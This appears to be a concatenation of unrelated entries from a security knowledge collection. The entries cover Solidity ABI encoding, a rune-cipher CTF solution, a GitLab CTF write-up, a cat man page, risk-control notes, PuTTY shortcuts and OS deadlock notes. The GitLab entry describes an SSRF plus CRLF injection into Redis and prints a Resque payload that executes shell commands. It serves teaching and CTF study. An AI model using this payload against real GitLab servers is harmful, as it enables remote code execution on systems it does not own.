- test6(0x123,[["cxy1","pika1",123], ["cxy2","pika2",456]])
```
由于是结构体数组,所以需要拆分,由内向外。内部是两个结构体,分别来看其 encoding
对于 ["cxy1","pika1",123] 结构体,其 encoding 如下( 直接当成函数参数 encoding )
0 - 0x0000000000000000000000000000000000000000000000000000000000000060 // offset of "cxy1"
1 - 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset of "pika1"
2 - 0x000000000000000000000000000000000000000000000000000000000000007b // encoding of 123
3 - 0x0000000000000000000000000000000000000000000000000000000000000004 // length of "cxy1"
4 - 0x6378793100000000000000000000000000000000000000000000000000000000 // encoding of "cxy1"
5 - 0x0000000000000000000000000000000000000000000000000000000000000005 // length of "pika1"
6 - 0x70696b6131000000000000000000000000000000000000000000000000000000 // encoding of "pika1"
对于 ["cxy2","pika2",456] 结构体,其 encoding 如下(直接当成函数参数 encoding )
0 - 0x0000000000000000000000000000000000000000000000000000000000000060 // offset of "cxy2"
1 - 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset of "pika2"
2 - 0x00000000000000000000000000000000000000000000000000000000000001c8 // encoding of 456
3 - 0x0000000000000000000000000000000000000000000000000000000000000004 // length of "cxy2"
4 - 0x6378793200000000000000000000000000000000000000000000000000000000 // encoding of "cxy2"
5 - 0x0000000000000000000000000000000000000000000000000000000000000005 // length of "pika2"
6 - 0x70696b6132000000000000000000000000000000000000000000000000000000 // encoding of "pika2"
由于是结构体,所以还需要 ["cxy1","pika1",123] 的 offset 和 ["cxy2","pika2",456] 的 offset,如下
0 - a // offset of ["cxy1","pika1",123]
1 - b // offset of ["cxy2","pika2",456]
2 - 0x0000000000000000000000000000000000000000000000000000000000000060 // offset of "cxy1"
3 - 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset of "pika1"
4 - 0x000000000000000000000000000000000000000000000000000000000000007b // encoding of 123
5 - 0x0000000000000000000000000000000000000000000000000000000000000004 // length of "cxy1"
6 - 0x6378793100000000000000000000000000000000000000000000000000000000 // encoding of "cxy1"
7 - 0x0000000000000000000000000000000000000000000000000000000000000005 // length of "pika1"
8 - 0x70696b6131000000000000000000000000000000000000000000000000000000 // encoding of "pika1"
9 - 0x0000000000000000000000000000000000000000000000000000000000000060 // offset of "cxy2"
10- 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset of "pika2"
11- 0x00000000000000000000000000000000000000000000000000000000000001c8 // encoding of 456
12- 0x0000000000000000000000000000000000000000000000000000000000000004 // length of "cxy2"
13- 0x6378793200000000000000000000000000000000000000000000000000000000 // encoding of "cxy2"
14- 0x0000000000000000000000000000000000000000000000000000000000000005 // length of "pika2"
15- 0x70696b6132000000000000000000000000000000000000000000000000000000 // encoding of "pika2"
a指向 offset of "cxy1",所以 a=0x20*2=0x40
b指向 offset of "cxy2",所以 b=0x20*9=0x120
由于是结构体数组,结构体外面是数组,所以要按照动态数组encoding的方法,如下
0 - c // offset of [["cxy1","pika1",123],["cxy2","pika2",456]]
1 - 0x0000000000000000000000000000000000000000000000000000000000000002 // count of second parameter
2 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of ["cxy1","pika1","1"]
3 - 0x0000000000000000000000000000000000000000000000000000000000000120 // offset of ["cxy2","pika2","1"]
4 - 0x0000000000000000000000000000000000000000000000000000000000000060 // offset of "cxy1"
5 - 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset of "pika1"
6 - 0x000000000000000000000000000000000000000000000000000000000000007b // encoding of 123
7 - 0x0000000000000000000000000000000000000000000000000000000000000004 // length of "cxy1"
8 - 0x6378793100000000000000000000000000000000000000000000000000000000 // encoding of "cxy1"
9 - 0x0000000000000000000000000000000000000000000000000000000000000005 // length of "pika1"
10- 0x70696b6131000000000000000000000000000000000000000000000000000000 // encoding of "pika1"
11- 0x0000000000000000000000000000000000000000000000000000000000000060 // offset of "cxy2"
12- 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset of "pika2"
13- 0x00000000000000000000000000000000000000000000000000000000000001c8 // encoding of 456
14- 0x0000000000000000000000000000000000000000000000000000000000000004 // length of "cxy2"
15- 0x6378793200000000000000000000000000000000000000000000000000000000 // encoding of "cxy2"
16- 0x0000000000000000000000000000000000000000000000000000000000000005 // length of "pika2"
17- 0x70696b6132000000000000000000000000000000000000000000000000000000 // encoding of "pika2"
c 是函数参数的第二个参数,是动态类型,所以 offset c = 0x20*2 = 0x40
所以总的 encoding 如下
0xccc5bdd2 // function selector
0 - 0x0000000000000000000000000000000000000000000000000000000000000123 // encoding of 0x123
1 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of second parameter
2 - 0x0000000000000000000000000000000000000000000000000000000000000002 // count of second parameter
3 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of ["cxy1","pika1","1"]
4 - 0x0000000000000000000000000000000000000000000000000000000000000120 // offset of ["cxy2","pika2","1"]
5 - 0x0000000000000000000000000000000000000000000000000000000000000060 // offset of "cxy1"
6 - 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset of "pika1"
7 - 0x000000000000000000000000000000000000000000000000000000000000007b // encoding of 123
8 - 0x0000000000000000000000000000000000000000000000000000000000000004 // length of "cxy1"
9 - 0x6378793100000000000000000000000000000000000000000000000000000000 // encoding of "cxy1"
10- 0x0000000000000000000000000000000000000000000000000000000000000005 // length of "pika1"
11- 0x70696b6131000000000000000000000000000000000000000000000000000000 // encoding of "pika1"
12- 0x0000000000000000000000000000000000000000000000000000000000000060 // offset of "cxy2"
13- 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset of "pika2"
14- 0x00000000000000000000000000000000000000000000000000000000000001c8 // encoding of 456
15- 0x0000000000000000000000000000000000000000000000000000000000000004 // length of "cxy2"
16- 0x6378793200000000000000000000000000000000000000000000000000000000 // encoding of "cxy2"
17- 0x0000000000000000000000000000000000000000000000000000000000000005 // length of "pika2"
18- 0x70696b6132000000000000000000000000000000000000000000000000000000 // encoding of "pika2"
```
- test7([[1,2],[3]],["one","two","three"])
```
同理进行由内向外的拆分,首先是 [[1,2],[3]] 动态数组中的 [1, 2] 和 [3] 两个动态数组
0 - a // offset of [1,2]
1 - b // offset of [3]
2 - 0x0000000000000000000000000000000000000000000000000000000000000002 // count for [1,2]
3 - 0x0000000000000000000000000000000000000000000000000000000000000001 // encoding of 1
4 - 0x0000000000000000000000000000000000000000000000000000000000000002 // encoding of 2
5 - 0x0000000000000000000000000000000000000000000000000000000000000001 // count for [3]
6 - 0x0000000000000000000000000000000000000000000000000000000000000003 // encoding of 3
a 指向 [1,2] 的开始,所以 a=0x20*2=0x40
b 指向 [3] 的开始,所以 b=0x20*5=0xa0
然后是 [[1,2],[3]] 动态数组本身的 encoding
0 - c // offset of [[1,2],[3]]
1 - 0x0000000000000000000000000000000000000000000000000000000000000002 // count for [[1,2],[3]]
2 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of [1,2]
3 - 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset of [3]
4 - 0x0000000000000000000000000000000000000000000000000000000000000002 // count for [1,2]
5 - 0x0000000000000000000000000000000000000000000000000000000000000001 // encoding of 1
6 - 0x0000000000000000000000000000000000000000000000000000000000000002 // encoding of 2
7 - 0x0000000000000000000000000000000000000000000000000000000000000001 // count for [3]
8 - 0x0000000000000000000000000000000000000000000000000000000000000003 // encoding of 3
c 指向 [[1,2],[3]] 的开始,所以 a=0x20*2=0x40
其次是 ["one","two","three"] 动态数组中每个 string 的 encoding
0 - d // offset for "one"
1 - e // offset for "two"
2 - f // offset for "three"
3 - 0x0000000000000000000000000000000000000000000000000000000000000003 // count for "one"
4 - 0x6f6e650000000000000000000000000000000000000000000000000000000000 // encoding of "one"
5 - 0x0000000000000000000000000000000000000000000000000000000000000003 // count for "two"
6 - 0x74776f0000000000000000000000000000000000000000000000000000000000 // encoding of "two"
7 - 0x0000000000000000000000000000000000000000000000000000000000000005 // count for "three"
8 - 0x7468726565000000000000000000000000000000000000000000000000000000 // encoding of "three"
d 指向 “one” 的开始,所以 d=0x20*3=0x60
e 指向 “two” 的开始,所以 e=0x20*5=0xa0
f 指向 “three” 的开始,所以 f=0x20*7=0xe0
然后是 ["one","two","three"] 动态数组本身的 encoding
0 - g // offset of ["one","two","three"]
1 - 0x0000000000000000000000000000000000000000000000000000000000000003 // count for ["one","two","three"]
2 - 0x0000000000000000000000000000000000000000000000000000000000000060 // offset for "one"
3 - 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset for "two"
4 - 0x00000000000000000000000000000000000000000000000000000000000000e0 // offset for "three"
5 - 0x0000000000000000000000000000000000000000000000000000000000000003 // count for "one"
6 - 0x6f6e650000000000000000000000000000000000000000000000000000000000 // encoding of "one"
7 - 0x0000000000000000000000000000000000000000000000000000000000000003 // count for "two"
8 - 0x74776f0000000000000000000000000000000000000000000000000000000000 // encoding of "two"
9 - 0x0000000000000000000000000000000000000000000000000000000000000005 // count for "three"
10- 0x7468726565000000000000000000000000000000000000000000000000000000 // encoding of "three"
这里 g 先不进行计算,因为涉及到函数参数整体的一个 encoding
上面就已经把最后就是 [[1,2],[3]] 和 ["one","two","three"] 分析完毕,最后就是其作为一个整体进行 encoding
0 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of [[1,2],[3]]
1 - g // offset of ["one","two","three"]
2 - 0x0000000000000000000000000000000000000000000000000000000000000002 // count for [[1,2],[3]]
3 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of [1,2]
4 - 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset of [3]
5 - 0x0000000000000000000000000000000000000000000000000000000000000002 // count for [1,2]
6 - 0x0000000000000000000000000000000000000000000000000000000000000001 // encoding of 1
7 - 0x0000000000000000000000000000000000000000000000000000000000000002 // encoding of 2
8 - 0x0000000000000000000000000000000000000000000000000000000000000001 // count for [3]
9 - 0x0000000000000000000000000000000000000000000000000000000000000003 // encoding of 3
10- 0x0000000000000000000000000000000000000000000000000000000000000003 // count for ["one","two","three"]
11- 0x0000000000000000000000000000000000000000000000000000000000000060 // offset for "one"
12- 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset for "two"
13- 0x00000000000000000000000000000000000000000000000000000000000000e0 // offset for "three"
14- 0x0000000000000000000000000000000000000000000000000000000000000003 // count for "one"
15- 0x6f6e650000000000000000000000000000000000000000000000000000000000 // encoding of "one"
16- 0x0000000000000000000000000000000000000000000000000000000000000003 // count for "two"
17- 0x74776f0000000000000000000000000000000000000000000000000000000000 // encoding of "two"
18- 0x0000000000000000000000000000000000000000000000000000000000000005 // count for "three"
19- 0x7468726565000000000000000000000000000000000000000000000000000000 // encoding of "three"
g 指向字符串数组的开始,所以 g=0x20*10=140
所以总的 selector + encoding 如下所示
0xcc80bc65 // function selector
0 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of [[1,2],[3]]
1 - 0x0000000000000000000000000000000000000000000000000000000000000140 // offset of ["one","two","three"]
2 - 0x0000000000000000000000000000000000000000000000000000000000000002 // count for [[1,2],[3]]
3 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of [1,2]
4 - 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset of [3]
5 - 0x0000000000000000000000000000000000000000000000000000000000000002 // count for [1,2]
6 - 0x0000000000000000000000000000000000000000000000000000000000000001 // encoding of 1
7 - 0x0000000000000000000000000000000000000000000000000000000000000002 // encoding of 2
8 - 0x0000000000000000000000000000000000000000000000000000000000000001 // count for [3]
9 - 0x0000000000000000000000000000000000000000000000000000000000000003 // encoding of 3
10- 0x0000000000000000000000000000000000000000000000000000000000000003 // count for ["one","two","three"]
11- 0x0000000000000000000000000000000000000000000000000000000000000060 // offset for "one"
12- 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset for "two"
13- 0x00000000000000000000000000000000000000000000000000000000000000e0 // offset for "three"
14- 0x0000000000000000000000000000000000000000000000000000000000000003 // count for "one"
15- 0x6f6e650000000000000000000000000000000000000000000000000000000000 // encoding of "one"
16- 0x0000000000000000000000000000000000000000000000000000000000000003 // count for "two"
17- 0x74776f0000000000000000000000000000000000000000000000000000000000 // encoding of "two"
18- 0x0000000000000000000000000000000000000000000000000000000000000005 // count for "three"
19- 0x7468726565000000000000000000000000000000000000000000000000000000 // encoding of "three"
```
## 例题
### balsn 2020
- 题目名称 Election
!!! note
注:题目附件相关内容可至 [ctf-challenges/blockchain](https://github.com/ctf-wiki/ctf-challenges/tree/master/blockchain) 仓库寻找。
|
sec-knowleage
|
# Outsiders
Category: Cryptography, 100 points
## Description
> While searching abroad for ducky, we found this code etched to a stone, can you figure out what it is?

## Solution
We know that the flag format is `cstechnion{}`. The `<` character in the ciphertext seems to match the `c` of the flag format. Using the flag format, we can decipher the following:
```
cstechnion{??c?n??o?_i?_co?in?}
```
We might be able to guess a few more letters based on common sense (does in end with "is coming"?), and maybe a few more if we notice that some of the characters have a slight resemblance to the latin alphabet, but the easiest way to crack the code is to use Google Image search and find the [key](https://thehistoricallinguistchannel.com/runes/):

Using this key, we can decipher the text:
```
cstechnion{ducknarok_is_coming}
```
|
sec-knowleage
|
## Task
Task consisted of only two files:
#### docker-compose.yml
web:
image: 'gitlab/gitlab-ce:11.4.7-ce.0'
restart: always
hostname: 'gitlab.example.com'
environment:
GITLAB_OMNIBUS_CONFIG: |
external_url 'http://gitlab.example.com'
redis['bind']='127.0.0.1'
redis['port']=6379
gitlab_rails['initial_root_password']=File.read('/steg0_initial_root_password')
ports:
- '5080:80'
- '50443:443'
- '5022:22'
volumes:
- '/srv/gitlab/config:/etc/gitlab'
- '/srv/gitlab/logs:/var/log/gitlab'
- '/srv/gitlab/data:/var/opt/gitlab'
- './steg0_initial_root_password:/steg0_initial_root_password'
- './flag:/flag:ro'
#### reset.sh
#!/bin/sh
echo -n \`head -n1337 /dev/urandom | sha512sum | cut -d' ' -f1\` > steg0\_initial\_root_password
Description went something along the lines of: "You may need an 0day".
So... we had docker-compose that builds gitlab version 11.4.7-ce.0, which at the time of the event was actually second latest, there was some release 5 days before the competition. From docker-compose we can also see that the flag is in filesystem under _/flag_.
At first we thought the description was just a standard teaser, but after briefly looking at the challenge we knew it may actually be the case.
The only other thing that could be flawed other than gitlab itself is the way of generating _initial\_root\_password._ Which unfortunately I don't believe is the case (at least to my knowledge).
## Clues
Some time later we stumbled upon gitlab blog post describing security issues fixed in the latest release [https://about.gitlab.com/2018/11/28/security-release-gitlab-11-dot-5-dot-1-released/](https://about.gitlab.com/2018/11/28/security-release-gitlab-11-dot-5-dot-1-released/).
There was plenty to choose from, our attention was grabbed by one of them which was reported by employee of Chaitin Tech, organizers of the CTF.
[](https://2.bp.blogspot.com/-xXeW_DWc21Y/XCqZtcbO7oI/AAAAAAAAAPI/o7o4w64xVB0U2nQK8NAo0ialkr-o_ZT4wCLcBGAs/s1600/Screenshot%2Bfrom%2B2018-12-31%2B23-35-20.png)
We started to look for any service that is accessible from localhost only and could lead to Arbitrary File Read or RCE.
Such service happens to be [redis](https://www.google.com/search?q=redis+ssrf). This vector was already used in the past, you can read up on it in [this gitlab issue](https://gitlab.com/gitlab-org/gitlab-ce/issues/41293).
Redis accepts commands in a line based format. There was only one problem - we couldn't break lines in Webhooks URLs.
We looked at the blogpost once again.
[](https://4.bp.blogspot.com/-MrAw6YwYoGU/XCtzmugBYeI/AAAAAAAAAPU/zk6nHfI6RrgyL2jFXooDh2ryJ9VCNG5IwCLcBGAs/s1600/Screenshot%2Bfrom%2B2019-01-01%2B15-04-53.png)
This looks promising, but it affects different part of code, project mirroring is not Webhooks functionality, or is it?
Thanks to Gitlab being open source software, and the fact that the new version was already released, we knew somewhere in the [github repository](https://github.com/gitlabhq/gitlabhq) we would find a patch.
Indeed, we can find both of the bugs fixes.
SSRF: [https://github.com/gitlabhq/gitlabhq/commit/a9f5b22394954be8941566da1cf349bb6a179974](https://github.com/gitlabhq/gitlabhq/commit/a9f5b22394954be8941566da1cf349bb6a179974)
CRLF: [https://github.com/gitlabhq/gitlabhq/commit/c0e5d9afee57745a79c072b0f57fdcbe164312da](https://github.com/gitlabhq/gitlabhq/commit/c0e5d9afee57745a79c072b0f57fdcbe164312da)
Looking at the SSRF fix, we realized that the code which checks for loopback/local URLs is actually code placed in shared utils, which Project Mirroring uses as well.
At this point, there were about 15 minutes left of the CTF, we had all the parts needed to create exploit, but just not enough time to implement it.
## Exploiting
Knowing all of the above, we can put all the pieces together to create an exploit:
- Use SSRF to access redis in Project Mirroring functionality(_/\<namespace>/\<projectname>/settings/repository#js-push-remote-settings_)**
Finding out what works is as simple as looking at the [tests](https://github.com/gitlabhq/gitlabhq/commit/a9f5b22394954be8941566da1cf349bb6a179974#diff-e2ebce1cc421d7f032b0067afc51177eR91) written to check for the bug after the fix was deployed.
it 'returns true for loopback IPs' do
expect(described_class.blocked_url?('https://[0:0:0:0:0:ffff:127.0.0.1]/foo/foo.git')).to be true
expect(described_class.blocked_url?('https://[::ffff:127.0.0.1]/foo/foo.git')).to be true
expect(described_class.blocked_url?('https://[::ffff:7f00:1]/foo/foo.git')).to be true
expect(described_class.blocked_url?('https://[0:0:0:0:0:ffff:127.0.0.2]/foo/foo.git')).to be true
expect(described_class.blocked_url?('https://[::ffff:127.0.0.2]/foo/foo.git')).to be true
expect(described_class.blocked_url?('https://[::ffff:7f00:2]/foo/foo.git')).to be true
end
- Use CRLFs to inject redis commands.**
Which is as simple as adding _\\n_ to our URL.
shared_context 'invalid urls' do
let(:urls_with_CRLF) do
["http://127.0.0.1:333/pa\rth",
"http://127.0.0.1:333/pa\nth",
"http://127.0a.0.1:333/pa\r\nth",
"http://127.0.0.1:333/path?param=foo\r\nbar",
"http://127.0.0.1:333/path?param=foo\rbar",
"http://127.0.0.1:333/path?param=foo\nbar",
"http://127.0.0.1:333/pa%0dth",
"http://127.0.0.1:333/pa%0ath",
"http://127.0a.0.1:333/pa%0d%0th",
"http://127.0.0.1:333/pa%0D%0Ath",
"http://127.0.0.1:333/path?param=foo%0Abar",
"http://127.0.0.1:333/path?param=foo%0Dbar",
"http://127.0.0.1:333/path?param=foo%0D%0Abar"]
end
end
Looking at the issue I mentioned earlier we arrive at payload that looks like this:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami > /tmp/a \').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"4552c3b1225428b18682c901\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
Putting that in mirror functionality results in a 500 returned from gitlab. This happens due to gitlab trying to render our URL and in failing to do so, refusing to respond with anything meaningful.
That's not helpful given that we still need to trigger the mirror by clicking the little refresh button (or just sending POST to _update\_now?sync\_remote=true_)
[](https://3.bp.blogspot.com/-yArZaTpzzQE/XCupVBrtCMI/AAAAAAAAAPg/1AsdV2vqnDIxeRd35DQW2sd8iBtZ8rFzACLcBGAs/s1600/Screenshot%2Bfrom%2B2019-01-01%2B18-54-12.png)
Doing the latter gives us full RCE.
Exploit can be found over here: [exploit.py](exploit.py)
Real World CTF network infrastructure routing didn't allow any connections initiated by gitlab host to LAN or Internet.
To extract the flag, you could use some part of the gitlab interface (icons,popups) to inject flag into it and then read it.
|
sec-knowleage
|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Congrats</title>
</head>
<body>
<h1>Congrats</h1>
<p>You have successfully logged in</p>
</body>
</html>
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH CAT 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
cat \- 连接文件并在标准输出上输出
.SH 概述
\fBcat\fP [\fI\,选项\/\fP]... [\fI\,文件\/\fP]...
.SH 描述
.\" Add any additional description here
.PP
将文件列表中的文件连接到标准输出。
.PP
如果没有指定文件,或者指定文件为“\-”,则从标准输入读取。
.TP
\fB\-A\fP, \fB\-\-show\-all\fP
等价于 \fB\-vET\fP
.TP
\fB\-b\fP, \fB\-\-number\-nonblank\fP
对非空输出行编号,同时取消 \fB\-n\fP 选项效果
.TP
\fB\-e\fP
等价于 \fB\-vE\fP
.TP
\fB\-E\fP, \fB\-\-show\-ends\fP
在每行结束显示 $
.TP
\fB\-n\fP, \fB\-\-number\fP
给所有输出行编号
.TP
\fB\-s\fP, \fB\-\-squeeze\-blank\fP
将所有的连续的多个空行替换为一个空行
.TP
\fB\-t\fP
等价于 \fB\-vT\fP
.TP
\fB\-T\fP, \fB\-\-show\-tabs\fP
把 TAB 字符显示为 ^I
.TP
\fB\-u\fP
(被忽略的选项)
.TP
\fB\-v\fP, \fB\-\-show\-nonprinting\fP
除了 LFD 和 TAB 之外的不可打印字符,用 ^ 和 M\- 标记方式显示
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.SH 范例
.TP
cat f \- g
先输出 f 的内容,然后输出标准输入的内容,最后输出 g 的内容。
.TP
cat
复制标准输入到标准输出。
.SH 作者
由 Torbjorn Granlund 和 Richard M. Stallman 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
This is free software: you are free to change and redistribute it. There is
NO WARRANTY, to the extent permitted by law.
.SH 参见
\fBtac\fP(1)
.PP
.br
完整文档请见: <https://www.gnu.org/software/coreutils/cat>
.br
或者在本地使用: info \(aq(coreutils) cat invocation\(aq
|
sec-knowleage
|
# 企业业务风控平台建设
## 卢明樊:爱奇艺的业务安全风控“秘籍”
摘自[卢明樊:爱奇艺的业务安全风控“秘籍”](https://www.freebuf.com/articles/people/233378.html),仅作笔记记录,如有侵权请告知。
### 风控建设的9个阶段
本文提供了风控建设的9个阶段,如下:
- 识别和管控风险
- 风控要和业务相结合
- 对业务场景进行划分,识别高风险、关键场景
- 二八原则
- 系统快速构建
- 场景单一时,可以采用第三方
- 场景复杂,且逻辑多变时,考虑设计独立的全栈风控系统 PS:大规模的企业还需要考虑建设业务安全红蓝对抗能力

图:爱奇艺风险中台的全景架构
- 风控本身集成了:
> 风险意识教育,风险评估,加固,高性能引擎,威胁情报,前端能力(加固,数据采集,验证),拦截阻断能力,离线和流式大数据系统,数仓,算法模型,跨业务联防联控,持续预警监控,应急响应,策略优化,持续运营...
- 优化引擎服务
- 优化平衡风控和业务关联的效率
- 实现数据驱动
- 需要做的:
> 从实时风控日志、业务服务日志、业务数据、情报数据、前端采集数据、验证数据、客诉数据等多重数据源出发,进行数据清洗、指标统计和特征工程,通过流式和离线的数据统计、分析和可持续训练优化的算法模型推理,产出指标、标签、特征、名单、信誉、图谱关系以及模型,上浮到稳定可靠&大容量的高速缓存,风控引擎从高速缓存中获取数据进行策略判断。
- 从数据到情报,企业的大数据平台建设能力是和风控系统能力同步发展的
- 云端协同
- 风控必须和端上相关团队结合,提升端上能力发展
- 联防联控
- > 打通数据和验证能力后,跨业务联防联控成为可能,各业务联合, 在模型,规则,数据等方面进行共享, 联合布控协同防御。
- 智能驱动
- 传统风控专注于决策规则,现在必须引入:
> 引入算法决策能力,异常检测、异常特征发现、人机识别、(图)关联分析、维度信誉等多类算法,从无监督算法和半监督算法为主,有监督算法为辅助,提高异常及作弊或欺诈特征以及风险因子的发现能力,支持快速响应,并结合案件库支撑样本累积推动有监督算法的训练和优化
- 在提升算法能力时,要关注算法的通用性(尽可能模块化)以及解释性。为了适应快速迁移到不同场景
- 可持续运营
- 风控本质上时支持业务进行风险运营
- 运营过程中,需要人员来进行持续迭代优化,因此要培养风控策略运营人员。单纯依靠风控开发和算法会无法长期跟踪。PS:这也是从对抗层面决定的,对手是用算法+经验的,防守方也要用算法+经验来对抗
- 中台化
- 针对业务场景和业务逻辑快速增长并且多变的情况,需要一个快速的、标准化自助式的接入、接出和运行解决
|
sec-knowleage
|
---
title: PuTTy
date: 2022-11-23 16:23:31.701654
background: bg-[#0403ed]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 32 keyboard shortcuts found on the PuTTy app
---
Keyboard Shortcuts
------------------
### General Shortcuts
Shortcut | Action
---|---
`Ctrl` `(right click)` | Open context menu
`Ctrl` `A` | Jump to the start of the line
`Ctrl` `B` | Move back a character
`Ctrl` `C` | Terminal the command
`Ctrl` `D` | Delete from under the cursor
`Ctrl` `E` | Jump to the end of the line
`Ctrl` `F` | Move forward a character
`Ctrl` `K` | Delete to end-of-line
`Ctrl` `L` | Clear the screen
`Ctrl` `R` | Search the history backwards
`Ctrl` `Shift` `R` | Search the history backwards with multi occurrence
`Ctrl` `U` | Delete backward from cursor
`Ctrl` `X` `X` | Move between end-of-line and current cursor position
`Ctrl` `X` `@` | Show possible hostname completions
`Ctrl` `Z` | Suspend or stop the command
`Alt` `Left` | Move to the first line in the history
`Alt` `Right` | Move to the last line in the history
`Alt` `?` | Show current completion list
`Alt` `*` | Insert all possible completions
`Alt` `/` | Attempt to complete filename
`Alt` `.` | Yank last argument to previous command
`Alt` `B` | Move backward
`Alt` `C` | Capitalize the word
`Alt` `D` | Delete word
`Alt` `F` | Move forward
`Alt` `L` | Make word lowercase
`Alt` `N` | Search the history forwards non-incremental
`Alt` `P` | Search the history backwards non-incremental
`Alt` `R` | Recall command
`Alt` `T` | Move words around
`Alt` `U` | Make word uppercase
`Alt` `Backspace` | Delete backwards from the cursor
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for PuTTy](http://rizwanansari.net/putty-shell-keyboard-shortcuts/) _(rizwanansari.net)_
|
sec-knowleage
|
# 计算机操作系统 - 死锁
<!-- GFM-TOC -->
* [计算机操作系统 - 死锁](#计算机操作系统---死锁)
* [必要条件](#必要条件)
* [处理方法](#处理方法)
* [鸵鸟策略](#鸵鸟策略)
* [死锁检测与死锁恢复](#死锁检测与死锁恢复)
* [1. 每种类型一个资源的死锁检测](#1-每种类型一个资源的死锁检测)
* [2. 每种类型多个资源的死锁检测](#2-每种类型多个资源的死锁检测)
* [3. 死锁恢复](#3-死锁恢复)
* [死锁预防](#死锁预防)
* [1. 破坏互斥条件](#1-破坏互斥条件)
* [2. 破坏占有和等待条件](#2-破坏占有和等待条件)
* [3. 破坏不可抢占条件](#3-破坏不可抢占条件)
* [4. 破坏环路等待](#4-破坏环路等待)
* [死锁避免](#死锁避免)
* [1. 安全状态](#1-安全状态)
* [2. 单个资源的银行家算法](#2-单个资源的银行家算法)
* [3. 多个资源的银行家算法](#3-多个资源的银行家算法)
<!-- GFM-TOC -->
## 必要条件
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/c037c901-7eae-4e31-a1e4-9d41329e5c3e.png"/> </div><br>
- 互斥:每个资源要么已经分配给了一个进程,要么就是可用的。
- 占有和等待:已经得到了某个资源的进程可以再请求新的资源。
- 不可抢占:已经分配给一个进程的资源不能强制性地被抢占,它只能被占有它的进程显式地释放。
- 环路等待:有两个或者两个以上的进程组成一条环路,该环路中的每个进程都在等待下一个进程所占有的资源。
## 处理方法
主要有以下四种方法:
- 鸵鸟策略
- 死锁检测与死锁恢复
- 死锁预防
- 死锁避免
## 鸵鸟策略
把头埋在沙子里,假装根本没发生问题。
因为解决死锁问题的代价很高,因此鸵鸟策略这种不采取任务措施的方案会获得更高的性能。
当发生死锁时不会对用户造成多大影响,或发生死锁的概率很低,可以采用鸵鸟策略。
大多数操作系统,包括 Unix,Linux 和 Windows,处理死锁问题的办法仅仅是忽略它。
## 死锁检测与死锁恢复
不试图阻止死锁,而是当检测到死锁发生时,采取措施进行恢复。
### 1. 每种类型一个资源的死锁检测
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/b1fa0453-a4b0-4eae-a352-48acca8fff74.png"/> </div><br>
上图为资源分配图,其中方框表示资源,圆圈表示进程。资源指向进程表示该资源已经分配给该进程,进程指向资源表示进程请求获取该资源。
图 a 可以抽取出环,如图 b,它满足了环路等待条件,因此会发生死锁。
每种类型一个资源的死锁检测算法是通过检测有向图是否存在环来实现,从一个节点出发进行深度优先搜索,对访问过的节点进行标记,如果访问了已经标记的节点,就表示有向图存在环,也就是检测到死锁的发生。
### 2. 每种类型多个资源的死锁检测
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/e1eda3d5-5ec8-4708-8e25-1a04c5e11f48.png"/> </div><br>
上图中,有三个进程四个资源,每个数据代表的含义如下:
- E 向量:资源总量
- A 向量:资源剩余量
- C 矩阵:每个进程所拥有的资源数量,每一行都代表一个进程拥有资源的数量
- R 矩阵:每个进程请求的资源数量
进程 P<sub>1</sub> 和 P<sub>2</sub> 所请求的资源都得不到满足,只有进程 P<sub>3</sub> 可以,让 P<sub>3</sub> 执行,之后释放 P<sub>3</sub> 拥有的资源,此时 A = (2 2 2 0)。P<sub>2</sub> 可以执行,执行后释放 P<sub>2</sub> 拥有的资源,A = (4 2 2 1) 。P<sub>1</sub> 也可以执行。所有进程都可以顺利执行,没有死锁。
算法总结如下:
每个进程最开始时都不被标记,执行过程有可能被标记。当算法结束时,任何没有被标记的进程都是死锁进程。
1. 寻找一个没有标记的进程 P<sub>i</sub>,它所请求的资源小于等于 A。
2. 如果找到了这样一个进程,那么将 C 矩阵的第 i 行向量加到 A 中,标记该进程,并转回 1。
3. 如果没有这样一个进程,算法终止。
### 3. 死锁恢复
- 利用抢占恢复
